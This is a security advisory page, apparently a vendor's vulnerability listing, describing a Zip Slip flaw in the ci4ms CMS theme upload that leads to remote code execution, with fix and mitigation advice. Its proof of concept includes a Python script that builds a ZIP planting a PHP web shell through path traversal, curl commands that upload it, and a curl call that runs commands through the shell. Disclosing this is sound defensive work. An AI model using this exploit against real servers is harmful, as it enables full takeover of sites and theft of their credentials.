GHSA-xv3r-vr59-95rg
GHSA-xv3r-vr59-95rg is a remote code execution vulnerability in ci4-cms-erp/ci4ms. O3 Security confirms whether GHSA-xv3r-vr59-95rg is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
CI4MS Theme::upload is vulnerable to Zip Slip leading to RCE
Real-World Exposure
ci4-cms-erp/ci4msReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
ci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.
Details
modules/Theme/Controllers/Theme.php:13-56 implements the theme upload action. ZipArchive::extractTo() is called directly with no iteration over entry names to verify they resolve inside the destination:
public function upload()
{
$valData = ([
'theme' => ['label' => lang('Theme.backendTheme'), 'rules' => 'uploaded[theme]|ext_in[theme,zip]|mime_in[theme,...]'],
]);
if ($this->validate($valData) == false) return redirect()->route('backendThemes')->withInput()->with('errors', $this->validator->getErrors());
$file = $this->request->getFile('theme');
$tempPath = WRITEPATH . 'tmp/' . str_replace('_theme.zip', '', $file->getName()) . '/';
$zip = new \ZipArchive();
if ($zip->open($file->getTempName()) === true) {
$zip->extractTo($tempPath); // no entry-name validation
$zip->close();
} ...
$log = install_theme_from_tmp($themeName);
...
}
A ZIP containing entries like ../../public/shell.php is extracted outside writable/tmp/ into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.
Routing: modules/Theme/Config/Routes.php binds POST backend/themes/themesUpload to Theme::upload with role=create. Although ThemeConfig itself does not list the route in csrfExcept, the upload handler is still reachable cross-site by any admin browser that has create on the Theme module, and any admin with that role can trigger it directly.
A companion Zip Slip bug in Backup::restore is tracked separately as GHSA-xp9f-pvvc-57p4.
PoC
Build the archive:
python3 -c "
import zipfile
with zipfile.ZipFile('evil_theme.zip','w') as z:
z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
z.writestr('info.xml', '<theme name=\"x\"/>')
"
Upload through the Theme manager with an authenticated session that has theme create:
curl -i -b 'ci4ms_session=<SESSION_ID>' \
-F 'theme=@evil_theme.zip' \
https://target.example.com/backend/themes/themesUpload
Trigger the shell:
curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Impact
Any ci4ms account that can upload a theme can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | ci4-cms-erp/ci4ms | all versions | 0.31.5.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ci4-cms-erp/ci4ms. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update ci4-cms-erp/ci4ms to 0.31.5.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xv3r-vr59-95rg is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-xv3r-vr59-95rg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-xv3r-vr59-95rg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-xv3r-vr59-95rg in your dependencies?
O3 detects GHSA-xv3r-vr59-95rg across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.